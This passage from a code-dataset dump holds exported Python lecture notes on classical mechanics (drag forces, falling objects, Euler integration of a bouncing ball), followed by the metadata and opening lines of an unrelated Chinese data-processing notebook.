\\mathrm{m/s}^2 \u221210\\mathrm{m/s}^3t\\right) \\boldsymbol{e}_2.\n# $$\n\n# Note that the velocity in the $x$-direction is a constant and is not affected by the force which acts only in the $y$-direction.\n# This means that we can decouple the two degrees of freedom and skip the vector symbols.\n# We have then a constant velocity in the $x$-direction\n\n# $$\n# v_x(t) = 100\\mathrm{m/s},\n# $$\n\n# and integrating up the acceleration in the $y$-direction (and using that the initial time $t_0=0$) we get\n\n# $$\n# v_y(t) = -20\\mathrm{m/s^2}t-5\\mathrm{m/s^3}t^2.\n# $$\n\n# Find the position as a function of time for the electron.\n# \n# \n# We integrate again in the $x$-direction\n\n# $$\n# x(t) = 100\\mathrm{m/s}t,\n# $$\n\n# and in the $y$-direction (remember that these two degrees of freedom don't depend on each other)\n# we get\n\n# $$\n# y(t) = -10\\mathrm{m/s^2}t^2-\\frac{5}{3}\\mathrm{m/s^3}t^3.\n# $$\n\n# The field is only acting inside a box of length $L = 2m$.\n# \n# How long time is the electron inside the field?\n# \n# \n# If we use the equation for the $x$-direction (the length of the box), we can then use the equation for $x(t) = 100\\mathrm{m/s}t$\n# and simply set $x=2$m and we find\n\n# $$\n# t=\\frac{1}{50}\\mathrm{s}.\n# $$\n\n# What is the displacement in the $y$-direction when the electron leaves the box. (We call this the deflection of the electron).\n# \n# \n# Here we simply use\n\n# $$\n# y(t) = -10\\mathrm{m/s^2}t^2-\\frac{5}{3}\\mathrm{m/s^3}t^3,\n# $$\n\n# and use $t=1/50$s and find that\n\n# $$\n# y = -0.004013 \\mathrm{m}.\n# $$\n\n# Find the angle the velocity vector forms with the horizontal axis as the electron leaves the box.\n# \n# \n# Again, we use $t=1/50$s and calculate the velocities in the $x$- and the $y$-directions (the velocity in the $x$-direction is just a constant) and find the angle using\n\n# $$\n# \\tan{\\alpha} = \\frac{v_y(t=1/50)}{v_x(t=1/50)},\n# $$\n\n# which leads to\n\n# $$\n# \\alpha = -0.23,\n# $$\n\n# in degrees (not radians).\n# \n# ### Drag force\n# \n# Using equations (2.84) and (2.82) in Taylor, we have that $f_{\\mathrm{quad}}/f_{\\mathrm{lin}}=(\\kappa\\rho Av^2)/(3\\pi\\eta Dv)$. With $\\kappa =1/4$ and $A=\\pi D^2/4$ we obtain $f_{\\mathrm{quad}}/f_{\\mathrm{lin}}=(\\rho Dv)/(48\\eta)$ or $R/48$ with $R$ given by equation (2.83) of Taylor.\n# \n# With these numbers $R=1.1\\times 10^{-2}$ and it is safe to neglect the quadratic drag.\n# \n# ### Falling object\n# \n# If we insert Taylor series for $\\exp{-(t/\\tau)}$ into equation (2.33) of Taylor, we have\n\n# $$\n# v_y(t) = v_{\\mathrm{ter}}\\left[1-\\exp{-(t/\\tau)}\\right] = v_{\\mathrm{ter}}\\left[1-(1-\\frac{t}{\\tau}+\\frac{t^2}{2\\tau^2}+\\dots   )\\right].\n# $$\n\n# The first two terms on the right cancel and, if $t$ is sufficiently small, we can neglect terms with higher powers than two in $t$.  This gives us\n\n# $$\n# v_y(t) \\approx v_{\\mathrm{ter}}\\frac{t}{\\tau}=gt,\n# $$\n\n# where we used that $v_{\\mathrm{ter}}=g\\tau$ from equation (2.34) in Taylor. This means that for small velocities it is the gravitational force which dominates.\n# \n# Setting $v_y(t_0)=0$ in equation (2.35) of Taylor and using the Taylor series for the exponential we find that\n\n# $$\n# y(t) = v_{\\mathrm{ter}}t-v_{\\mathrm{ter}}\\tau\\left[1-\\exp{-(t/\\tau)}\\right] = v_{\\mathrm{ter}}t-v_{\\mathrm{ter}}\\tau\\left[1-(1-\\frac{t}{\\tau}+\\frac{t^2}{2\\tau^2}+\\dots   )\\right].\n# $$\n\n# On the rhs the second and third terms cancel, as do the first and fourth. If we neglect all terms beyond $t^2$, this leaves us with\n\n# $$\n# y(t) \\approx v_{\\mathrm{ter}}\\frac{t^2}{2\\tau}=\\frac{1}{2}gt^2.\n# $$\n\n# Again, for small times, as expected, the gravitational force plays the major role.\n# \n# ### Motion of a cyclist\n# \n# Putting in the numbers for the characteristic time we find\n\n# $$\n# \\tau = \\frac{m}{Dv_0} = \\frac{80}{0.20\\times 20}=20\\mathrm{s}.\n# $$\n\n# From an initial velocity of 20m/s we will slow down to half the initial speed, 10m/s in 20s.  From Taylor equation (2.45) we have then that the time to slow down to any speed $v$ is\n\n# $$\n# t = \\frac{M}{D}\\left(\\frac{1}{v}-\\frac{1}{v_0}\\right).\n# $$\n\n# This gives a time of 6.7s for a velocity of 15m/s, 20s for a velocity of 10m/s and 60s for a velocity of 5m/s.  We see that this approximation leads to an infinite time before we come to rest. To ignore ordinary friction at low speeds is indeed a bad approximation.\n# \n# \n# \n# ### Falling ball and preparing for the numerical exercise\n# \n# In this example we study the motion of an object subject to a constant force, a velocity dependent\n# force, and for the numerical part a position-dependent force.\n# Without the position dependent force, we can solve the problem analytically. This is what we will do in this exercise.\n# The position dependent force requires numerical efforts (exercise 7).\n# In addition to the  falling ball case, we will include the effect of the ball bouncing back from the floor in exercises 7.\n# \n# \n# Here we limit ourselves to a ball that is thrown from a height $h$\n# above the ground with an initial velocity\n# $\\boldsymbol{v}_0$ at time $t=t_0$.\n# We assume we have only a gravitational force and a force due to the air resistance.\n# The position of the ball as function of time is  $\\boldsymbol{r}(t)$ where $t$ is time.\n#  The position is measured with respect to a coordinate system with origin at the floor.\n# \n# We assume we have an initial position $\\boldsymbol{r}(t_0)=h\\boldsymbol{e}_y$ and an initial velocity $\\boldsymbol{v}_0=v_{x,0}\\boldsymbol{e}_x+v_{y,0}\\boldsymbol{e}_y$.\n# \n# In this exercise we assume the system is influenced by the gravitational force\n\n# $$\n# \\boldsymbol{G}=-mg\\boldsymbol{e}_y\n# $$\n\n# and an air resistance given by a square law\n\n# $$\n# -Dv\\boldsymbol{v}.\n# $$\n\n# The analytical expressions for velocity and position as functions of\n# time will be used to compare with the numerical results in exercise 6.\n# \n# Identify the forces acting on the ball and set up a diagram with the forces acting on the ball. Find the acceleration of the falling ball.\n# \n# The forces acting on the ball are the gravitational force $\\boldsymbol{G}=-mg\\boldsymbol{e}_y$ and the air resistance $\\boldsymbol{F}_D=-D\\boldsymbol{v}v$ with $v$ the absolute value of the velocity. The accelaration in the $x$-direction is\n\n# $$\n# a_x = -\\frac{Dv_x\\vert v\\vert}{m},\n# $$\n\n# and in the $y$-direction\n\n# $$\n# a_y = -g-\\frac{Dv_y\\vert v\\vert}{m},\n# $$\n\n# where $\\vert v\\vert=\\sqrt{v_x^2+v_y^2}$.  Note that due to the dependence on $v_x$ and $v_y$ in each equation, it means we may not be able find an analytical solution. In this case we cannot.\n# In order to compare our code with analytical results, we will thus study the problem only in the $y$-direction.\n# \n# In the general code below we would write this as (pseudocode style)\n\n# In[14]:\n\n\nax = -D*vx[i]*abs(v[i])/m\nay = -g - D*vy[i]*abs(v[i])/m\n\n\n# Integrate the acceleration from an initial time $t_0$ to a final time $t$ and find the velocity.\n# \n# We reduce our problem to a one-dimensional in the $y$-direction only since for the two-dimensional motion we cannot find an analtical solution. For one dimension however, we have an analytical solution.\n# We specialize our equations  for the $y$-direction only\n\n# $$\n# \\frac{dv_y}{dt}= -g +Dv_y^2(t).\n# $$\n\n# We can solve this using the technique of separation of variables. We\n# isolate on the left all terms that involve $v$ and on the right all\n# terms that involve time. We get then\n\n# $$\n# \\frac{dv_y}{g -Dv_y^2(t) }= -dt,\n# $$\n\n# We scale now the equation to the left by introducing a constant\n# $v_T=\\sqrt{g/D}$. This constant has dimension length/time. \n# \n# Next we integrate the left-hand side (lhs) from $v_{y0}=0$ m/s to $v$ and\n# the right-hand side (rhs) from $t_0=0$ to $t$ and obtain\n\n# $$\n# \\int_{0}^{v_y}\\frac{dv_y}{g -Dv_y^2(t) }= \\frac{v_T}{g}\\mathrm{arctanh}(\\frac{v_y}{v_T})  =-\\int_0^tdt = -t.\n# $$\n\n# We can reorganize these equations as\n\n# $$\n# v_T\\mathrm{arctanh}(\\frac{v_y}{v_T})  =-gt,\n# $$\n\n# which gives us $v_y$ as function of time\n\n# $$\n# v_y(t)=v_T\\tanh{-(\\frac{gt}{v_T})}.\n# $$\n\n# With a finite initial velocity we need simply to add $v_{y0}$.\n# \n# \n# \n# Find thereafter the position as function of time starting with an initial time $t_0$. Find the time it takes to hit the floor.  Here you will find it convenient to set the initial velocity in the $y$-direction to zero.\n# \n# \n# With the velocity we can then find the height $y(t)$ by integrating yet another time, that is\n\n# $$\n# y(t)=y(t_0)+\\int_{t_0}^t dt v_y(t)=\\int_{0}^t dt[v_T\\tanh{-(\\frac{gt}{v_T})}].\n# $$\n\n# This integral is a little bit trickier but we can look it up in a table over \n# known integrals and we get\n\n# $$\n# y(t)=y(t_0)-\\frac{v_T^2}{g}\\log{[\\cosh{(\\frac{gt}{v_T})}]}.\n# $$\n\n# Here we have assumed that we set the initial velocity in the $y$-direction to zero, that is $v_y(t_0)=0$m/s. Adding a non-zero velocity gives us an additional term of $v_{y0}t$.  \n# Using a zero initial velocity and setting\n\n# $$\n# y(t)=0=y(t_0)-\\frac{v_T^2}{g}\\log{[\\cosh{(-\\frac{gt}{v_T})}]}=y(t_0)-\\frac{v_T^2}{g}\\log{[\\cosh{(\\frac{gt}{v_T})}]},\n# $$\n\n# (note that $\\cosh$ yields the same values for negative and positive arguments)\n# allows us to find the final time by solving\n\n# $$\n# y(t_0)=\\frac{v_T^2}{g}\\log{[\\cosh{(\\frac{gt}{v_T})}]},\n# $$\n\n# which gives\n\n# $$\n# t = \\frac{v_T}{g}\\mathrm{arccosh}(\\exp{(gy_0/v_T^2)}).\n# $$\n\n# In the code below we would code these analytical expressions (with zero initial velocity in the $y$-direction) as\n\n# In[ ]:\n\n\nyanalytic[i+1] = y[0]-(vT*vT/g)*log(cosh(g*t[i+1]/vT))+vy[0]*t[i+1]\n\n\n# We will use the above analytical results in our numerical calculations in the next exercise\n# \n# \n# \n# \n# ### Numerical elements, solving the previous exercise  numerically and adding the bouncing from the floor\n# \n# Here we will:\n# 1. Learn and utilize Euler's Method to find the position and the velocity\n# \n# 2. Compare analytical and computational solutions \n# \n# 3. Add additional forces to our model\n\n# In[ ]:\n\n\n# let's start by importing useful packages we are familiar with\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# We will choose the following values\n# 1. mass $m=0,2$ kg\n# \n# 2. accelleration (gravity) $g=9.81$ m/s$^{2}$.\n# \n# 3. initial position is the height $h=2$ m\n# \n# 4. initial velocities $v_{x,0}=v_{y,0}=10$ m/s\n# \n# Can you find a reasonable value for the drag coefficient $D$?\n# You need also to define an initial time and \n# the step size $\\Delta t$. We can define the step size $\\Delta t$ as the difference between any\n# two neighboring values in time (time steps) that we analyze within\n# some range. It can be determined by dividing the interval we are\n# analyzing, which in our case is time $t_{\\mathrm{final}}-t_0$, by the number of steps we\n# are taking $(N)$. This gives us a step size $\\Delta t = \\dfrac{t_{\\mathrm{final}}-t_0}{N}$.\n# \n# With these preliminaries we are now ready to plot our results from exercise 5.\n# \n# Set up arrays for time, velocity, acceleration and positions for the results from exercise 5. Define an initial and final time. Choose the final time to be the time when the ball hits the ground for the first time. Make a plot of the position and velocity as functions of time.  Here you could set the initial velocity in the $y$-direction to zero and use the result from exercise 5. Else you need to try different initial times using the result from exercise 5 as a starting guess.  It is not critical if you don't reach the ground when the initial velocity in the $y$-direction is not zero.\n# \n# \n# We move now to the numerical solution of the differential equations as discussed in the [lecture notes](https://mhjensen.github.io/Physics321/doc/pub/motion/html/motion.html) or Malthe-S\u00f8renssen chapter 7.5.\n# Let us remind ourselves about  Euler's Method.\n# \n# Suppose we know $f(t)$ and its derivative $f'(t)$. To find $f(t+\\Delta t)$ at the next step, $t+\\Delta t$,\n# we can consider the Taylor expansion:\n# \n# $f(t+\\Delta t) = f(t) + \\dfrac{(\\Delta t)f'(t)}{1!} + \\dfrac{(\\Delta t)^2f''(t)}{2!} + ...$\n# \n# If we ignore the $f''$ term and higher derivatives, we obtain\n# \n# $f(t+\\Delta t) \\approx f(t) + (\\Delta t)f'(t)$.\n# \n# This approximation is the basis of Euler's method, and the Taylor\n# expansion suggests that it will have errors of $O(\\Delta t^2)$.  Thus, one\n# would expect it to work better, the smaller the step size $h$ that you\n# use. In our case the step size is $\\Delta t$. \n# \n# In setting up our code we need to\n# \n# 1. Define and obtain all initial values, constants, and time to be analyzed with step sizes as done above (you can use the same values)\n# \n# 2. Calculate the velocity using $v_{i+1} = v_{i} + (\\Delta t)*a_{i}$\n# \n# 3. Calculate the position using $pos_{i+1} = r_{i} + (\\Delta t)*v_{i}$\n# \n# 4. Calculate the new acceleration $a_{i+1}$.\n# \n# 5. Repeat steps 2-4 for all time steps within a loop.\n# \n# Write a code which implements Euler's method and compute numerically and plot the position and velocity as functions of time for various values of $\\Delta t$. Comment your results.\n# \n# Below you will find two codes, one which uses explicit expressions for the $x$- and $y$-directions and one which rewrites the expressions as compact vectors, as done in homework 2. Running the codes shows a sensitivity to the chosen step size $\\Delta t$. You will clearly notice that when comparing with the analytical results, that larger values of the step size in time result in a poorer agreement with the analytical solutions.\n# \n# * Compare your numerically obtained positions and velocities with the analytical results from exercise 5. Comment again your results.\n# \n# The codes follow here. Running them allows you to probe the various parameters and compare with analytical solutions as well. \n# \n# The analytical results are discussed in the lecture notes, see the slides of the week of January 25-29 <https://mhjensen.github.io/Physics321/doc/pub/week4/html/week4-bs.html>.\n# \n# \n# The codes here show two different ways of solving the two-dimensional problem. The first one defines arrays for the $x$- and $y$-directions explicitely, while the second code uses a more\n# compact (and thus closer to the mathmeatics) notation with a full two-dimensional vector.\n# \n# \n# The initial conditions for the first example are set so that we only an object falling in the $y$-direction. Then it makes sense to compare with the analytical solution. If you change the initial conditions, this comparison is no longer correct.\n\n# In[ ]:\n\n\n# Exercise 6, hw3, brute force way with declaration of vx, vy, x and y\n# Common imports\nimport numpy as np\nimport pandas as pd\nfrom math import *\nimport matplotlib.pyplot as plt\nimport os\n\n# Where to save the figures and data files\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n    os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n    os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n    os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n    return os.path.join(FIGURE_ID, fig_id)\n\ndef data_path(dat_id):\n    return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n    plt.savefig(image_path(fig_id) + \".png\", format='png')\n\n# Output file\noutfile = open(data_path(\"Eulerresults.dat\"),'w')\n\nfrom pylab import plt, mpl\nplt.style.use('seaborn')\nmpl.rcParams['font.family'] = 'serif'\n\n\ng = 9.80655 #m/s^2\n# The mass and the drag constant D\nD = 0.00245 #mass/length   kg/m\nm = 0.2 #kg, mass of falling object\nDeltaT = 0.001\n#set up arrays \ntfinal = 1.4\n# set up number of points for all variables\nn = ceil(tfinal/DeltaT)\n# define scaling constant vT used in analytical solution\nvT = sqrt(m*g/D)\n# set up arrays for t, a, v, and y and arrays for analytical results\n#brute force setting up of arrays for x and y, vx, vy, ax and ay\nt = np.zeros(n)\nvy = np.zeros(n)\ny = np.zeros(n)\nvx = np.zeros(n)\nx = np.zeros(n)\nyanalytic = np.zeros(n)\n# Initial conditions, note that these correspond to an object falling in the y-direction only.\nvx[0] = 0.0 #m/s\nvy[0] = 0.0  #m/s\ny[0] = 10.0 #m\nx[0] = 0.0 #m\nyanalytic[0] = y[0]\n# Start integrating using Euler's method\nfor i in range(n-1):\n    # expression for acceleration, note the absolute value and division by mass\n    ax = -D*vx[i]*sqrt(vx[i]**2+vy[i]**2)/m\n    ay = -g - D*vy[i]*sqrt(vx[i]**2+vy[i]**2)/m\n    # update velocity and position\n    vx[i+1] = vx[i] + DeltaT*ax\n    x[i+1] = x[i] + DeltaT*vx[i]\n    vy[i+1] = vy[i] + DeltaT*ay\n    y[i+1] = y[i] + DeltaT*vy[i]\n    # update time to next time step and compute analytical answer\n    t[i+1] = t[i] + DeltaT\n    yanalytic[i+1] = y[0]-(vT*vT/g)*log(cosh(g*t[i+1]/vT))+vy[0]*t[i+1]\n    if ( y[i+1] < 0.0):\n        break\ndata = {'t[s]': t,\n        'Relative error in y': abs((y-yanalytic)/yanalytic),\n        'vy[m/s]': vy,\n        'x[m]': x,\n        'vx[m/s]': vx\n}\nNewData = pd.DataFrame(data)\ndisplay(NewData)\n# save to file\nNewData.to_csv(outfile, index=False)\n#then plot\nfig, axs = plt.subplots(4, 1)\naxs[0].plot(t, y)\naxs[0].set_xlim(0, tfinal)\naxs[0].set_ylabel('y')\naxs[1].plot(t, vy)\naxs[1].set_ylabel('vy[m/s]')\naxs[1].set_xlabel('time[s]')\naxs[2].plot(t, x)\naxs[2].set_xlim(0, tfinal)\naxs[2].set_ylabel('x')\naxs[3].plot(t, vx)\naxs[3].set_ylabel('vx[m/s]')\naxs[3].set_xlabel('time[s]')\nfig.tight_layout()\nsave_fig(\"EulerIntegration\")\nplt.show()\n\n\n# We see a good agreement with the analytical solution. This agreement\n# improves if we decrease $\\Delta t$. Furthermore, since we put the\n# initial velocity and position in the $x$ direction to zero, \n# the motion in the $x$-direction is\n# zero, as expected.\n\n# In[ ]:\n\n\n# Smarter way with declaration of vx, vy, x and y\n# Common imports\nimport numpy as np\nimport pandas as pd\nfrom math import *\nimport matplotlib.pyplot as plt\nimport os\n\n# Where to save the figures and data files\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n    os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n    os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n    os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n    return os.path.join(FIGURE_ID, fig_id)\n\ndef data_path(dat_id):\n    return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n    plt.savefig(image_path(fig_id) + \".png\", format='png')\n\n\nfrom pylab import plt, mpl\nplt.style.use('seaborn')\nmpl.rcParams['font.family'] = 'serif'\n\ng = 9.80655 #m/s^2 g to 6 leading digits after decimal point\nD = 0.00245 #m/s\nm = 0.2 # kg\n# Define Gravitational force as a vector in x and y. It is a constant\nG = -m*g*np.array([0.0,1])\nDeltaT = 0.01\n#set up arrays \ntfinal = 1.3\nn = ceil(tfinal/DeltaT)\n# set up arrays for t, a, v, and x\nt = np.zeros(n)\nv = np.zeros((n,2))\nr = np.zeros((n,2))\n# Initial conditions as compact 2-dimensional arrays\nr0 = np.array([0.0,10.0])\nv0 = np.array([10.0,0.0])\nr[0] = r0\nv[0] = v0\n# Start integrating using Euler's method\nfor i in range(n-1):\n    # Set up forces, air resistance FD, not now that we need the norm of the vector\n    # Here you could have defined your own function for this\n    vabs = sqrt(sum(v[i]*v[i]))\n    FD = -D*v[i]*vabs\n    # Final net forces acting on falling object\n    Fnet = FD+G\n    # The accelration at a given time t_i\n    a = Fnet/m\n    # update velocity, time and position using Euler's method\n    v[i+1] = v[i] + DeltaT*a\n    r[i+1] = r[i] + DeltaT*v[i]\n    t[i+1] = t[i] + DeltaT\n\nfig, axs = plt.subplots(4, 1)\naxs[0].plot(t, r[:,1])\naxs[0].set_xlim(0, tfinal)\naxs[0].set_ylabel('y')\naxs[1].plot(t, v[:,1])\naxs[1].set_ylabel('vy[m/s]')\naxs[1].set_xlabel('time[s]')\naxs[2].plot(t, r[:,0])\naxs[2].set_xlim(0, tfinal)\naxs[2].set_ylabel('x')\naxs[3].plot(t, v[:,0])\naxs[3].set_ylabel('vx[m/s]')\naxs[3].set_xlabel('time[s]')\n\nfig.tight_layout()\nsave_fig(\"EulerIntegration\")\nplt.show()\n\n\n# Till now we have only introduced gravity and air resistance and studied\n# their effects via a constant acceleration due to gravity and the force\n# arising from air resistance. But what happens when the ball hits the\n# floor? What if we would like to simulate the normal force from the floor acting on the ball?\n# \n# We need then to include a force model for the normal force from\n# the floor on the ball. The simplest approach to such a system is to introduce a contact force\n# model represented by a spring model.  We model the interaction between the floor\n# and the ball as a single spring. But the normal force is zero when\n# there is no contact. Here  we define a simple model that allows us to include\n# such effects in our models.\n# \n# The normal force from the floor on the ball is represented by a spring force. This\n# is a strong simplification of the actual deformation process occurring at the contact\n# between the ball and the floor due to the deformation of both the ball and the floor.\n# \n# The deformed region corresponds roughly to the region of **overlap** between the\n# ball and the floor. The depth of this region is $\\Delta y = R \u2212 y(t)$, where $R$\n# is the radius of the ball. This is supposed to represent the compression of the spring.\n# Our model for the normal force acting on the ball is then\n\n# $$\n# \\boldsymbol{N} = \u2212k (R \u2212 y(t)) \\boldsymbol{e}_y.\n# $$\n\n# The normal force must act upward when $y < R$,\n# hence the sign must be negative.\n# However, we must also ensure that the normal force only acts when the ball is in\n# contact with the floor, otherwise the normal force is zero. The full formation of the\n# normal force is therefore\n\n# $$\n# \\boldsymbol{N} = \u2212k (R \u2212 y(t)) \\boldsymbol{e}_y,\n# $$\n\n# when $y(t) < R$ and zero when $y(t) \\le R$.\n# In the numerical calculations you can choose $R=0.1$ m and the spring constant $k=1000$ N/m.\n# \n# * Identify the forces acting on the ball and set up a diagram with the forces acting on the ball. Find the acceleration of the falling ball now with the normal force as well.\n# \n# * Choose a large enough final time so you can study the ball bouncing up and down several times. Add the normal force and compute the height of the ball as function of time with and without air resistance. Comment your results.\n# \n# The following code shows how\n# to set up the problem with gravitation, a drag force and a normal\n# force from the ground. The normal force makes the ball bounce up\n# again.\n# \n# \n# The code here includes all forces. Commenting out the air resistance will result in a ball which bounces up and down to the same height.\n# Furthermore, you will note that for larger values of $\\Delta t$ the results will not be physically meaningful. Can you figure out why?  Try also different values for the step size in order to see whether the final results agrees with what you expect.\n\n# In[ ]:\n\n\n# Smarter way with declaration of vx, vy, x and y\n# Here we have added a normal force from the ground\n# Common imports\nimport numpy as np\nimport pandas as pd\nfrom math import *\nimport matplotlib.pyplot as plt\nimport os\n\n# Where to save the figures and data files\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n    os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n    os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n    os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n    return os.path.join(FIGURE_ID, fig_id)\n\ndef data_path(dat_id):\n    return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n    plt.savefig(image_path(fig_id) + \".png\", format='png')\n\n\nfrom pylab import plt, mpl\nplt.style.use('seaborn')\nmpl.rcParams['font.family'] = 'serif'\n\n# Define constants\ng = 9.80655 #in m/s^2\nD = 0.0245 # in mass/length, kg/m\nm = 0.2 # in kg\nR = 0.1 # in meters\nk = 1000.0 # in mass/time^2\n# Define Gravitational force as a vector in x and y, zero x component\nG = -m*g*np.array([0.0,1])\nDeltaT = 0.001\n#set up arrays \ntfinal = 15.0\nn = ceil(tfinal/DeltaT)\n# set up arrays for t, v, and r, the latter contain the x and y comps\nt = np.zeros(n)\nv = np.zeros((n,2))\nr = np.zeros((n,2))\n# Initial conditions\nr0 = np.array([0.0,2.0])\nv0 = np.array([10.0,10.0])\nr[0] = r0\nv[0] = v0\n# Start integrating using Euler's method\nfor i in range(n-1):\n    # Set up forces, air resistance FD\n    if ( r[i,1] < R):\n        N = k*(R-r[i,1])*np.array([0,1])\n    else:\n        N = np.array([0,0])\n    vabs = sqrt(sum(v[i]*v[i]))\n    FD = -D*v[i]*vabs\n    Fnet = FD+G+N\n    a = Fnet/m\n    # update velocity, time and position\n    v[i+1] = v[i] + DeltaT*a\n    r[i+1] = r[i] + DeltaT*v[i]\n    t[i+1] = t[i] + DeltaT\n\nfig, ax = plt.subplots()\nax.set_xlim(0, tfinal)\nax.set_ylabel('y[m]')\nax.set_xlabel('x[m]')\nax.plot(r[:,0], r[:,1])\nfig.tight_layout()\nsave_fig(\"BouncingBallEuler\")\nplt.show()\n\n", "meta": {"hexsha": "876d94f252377ade852c3e272145c046f8b146bf", "size": 72358, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/LectureNotes/_build/jupyter_execute/chapter3.py", "max_stars_repo_name": "Shield94/Physics321", "max_stars_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "doc/LectureNotes/_build/jupyter_execute/chapter3.py", "max_issues_repo_name": "Shield94/Physics321", "max_issues_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "doc/LectureNotes/_build/jupyter_execute/chapter3.py", "max_forks_repo_name": "Shield94/Physics321", "max_forks_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3749440716, "max_line_length": 594, "alphanum_fraction": 0.6929572404, "include": true, "reason": "import numpy", "num_tokens": 21665, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.15610489744545739, "lm_q1q2_score": 0.061245700637312286}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %% [markdown]\n# # \u8ba1\u7b97\u601d\u7ef4\u6570\u636e\u5904\u7406\n# %% [markdown]\n# \u6570\u636e\u5904\u7406\u8981\u6c42\uff1a\n# ### 1\u3001\u6bcf\u4e2a\u9898\u7684\u5e73\u5747\u4f5c\u7b54\u65f6\u957f\uff1b\u2014\u2014\u7ed3\u679c\u6570\u636e\n# ### 2\u3001\u6bcf\u4e2a\u9898\u7684\u7f16\u7801\u79cd\u7c7b\uff08\u6709\u591a\u5c11\u79cd\uff0c\u5206\u522b\u662f\u4ec0\u4e48\uff0c\u6bcf\u79cd\u591a\u5c11\u5b66\u751f\uff09\uff1b\u2014\u2014\u7ed3\u679c\u6570\u636e\n# 3\u3001\u6bcf\u4e2a\u9898\u7684\u6bcf\u4e2a\u64cd\u4f5c\u6b65\u9aa4\u7684\u5e73\u5747\u4f5c\u7b54\u65f6\u957f\uff1b\u2014\u2014\u8fc7\u7a0b\u6570\u636e\n# ### 4\u3001\u6b63\u786e\u7387\uff08\u6682\u672a\u63d0\u4f9b\u6807\u51c6\u7f16\u7801\uff0c\u53ef\u4ee5\u63a2\u7d22\u4e00\u4e0b\u9898\u76ee\u672c\u8eab\uff0c\u534f\u52a9\u5f62\u6210\u6807\u51c6\u7b54\u6848\u7f16\u7801\uff09\uff1b\u2014\u2014\u7ed3\u679c\u6570\u636e\n# 5\u3001\u5173\u952e\u8282\u70b9\uff08\u901a\u8fc7\u6570\u636e\uff0c\u63a2\u7d22\u5b66\u751f\u5728\u4ece\u521d\u59cb\u72b6\u6001\u5411\u7ec8\u6b62\u72b6\u6001\u8fdb\u884c\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6709\u51e0\u4e2a\u5173\u952e\u6b65\u9aa4\uff0c\u6bcf\u4e2a\u5173\u952e\u6b65\u9aa4\u6709\u51e0\u79cd\u7c7b\u578b\u7684\u5173\u952e\u8282\u70b9\u7f16\u7801\uff09\uff0c\u4f53\u73b0\u201c\u7528\u6570\u636e\u8bf4\u8bdd\u201d\u53bb\u63a2\u7d22\u5173\u952e\u8282\u70b9\u3002\u2014\u2014\u8fc7\u7a0b\u6570\u636e\n# 6\u3001\u6bcf\u4e2a\u9898\u76ee\u7684\u6bcf\u79cd\u7f16\u7801\u4e0b\uff0c\u90fd\u6709\u4ec0\u4e48\u6837\u7684\u5b66\u751f\u4f5c\u7b54\u7c7b\u578b\uff0c\u6bd4\u5982\u90fd\u662f\u6b63\u786e\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u805a\u6210\u591a\u5c11\u7c7b\uff0c\u6bcf\u4e00\u7c7b\u6709\u4ec0\u4e48\u7279\u5f81\uff0c\u5b66\u751f\u662f\u901a\u8fc7\u4ec0\u4e48\u6837\u7684\u64cd\u4f5c\u8def\u5f84\u5230\u8fbe\u6700\u7ec8\u7684\u3002\n# ### 7\u3001\u6bcf\u9053\u9898\u76ee\u7684\u6b63\u786e\u7387\uff1b\u2014\u2014\u7ed3\u679c\u6570\u636e\n# \n# <font color=\"red\">\u6ce8\u610f \u8981\u6c42\u70b9\u56db\u548c\u8981\u6c42\u70b9\u4e03\u76f8\u540c\uff0c\u5c06\u4e00\u540c\u5206\u6790\n# %% [markdown]\n# ## 0\u3001\u6570\u636e\u52a0\u8f7d\u548c\u9884\u5904\u7406\n# \u9996\u5148\u8bfb\u53d6\u6570\u636e\uff0c\u5e76\u901a\u8fc7pandas\u8fdb\u884c\u6570\u636e\u5e27\u5904\u7406\n# 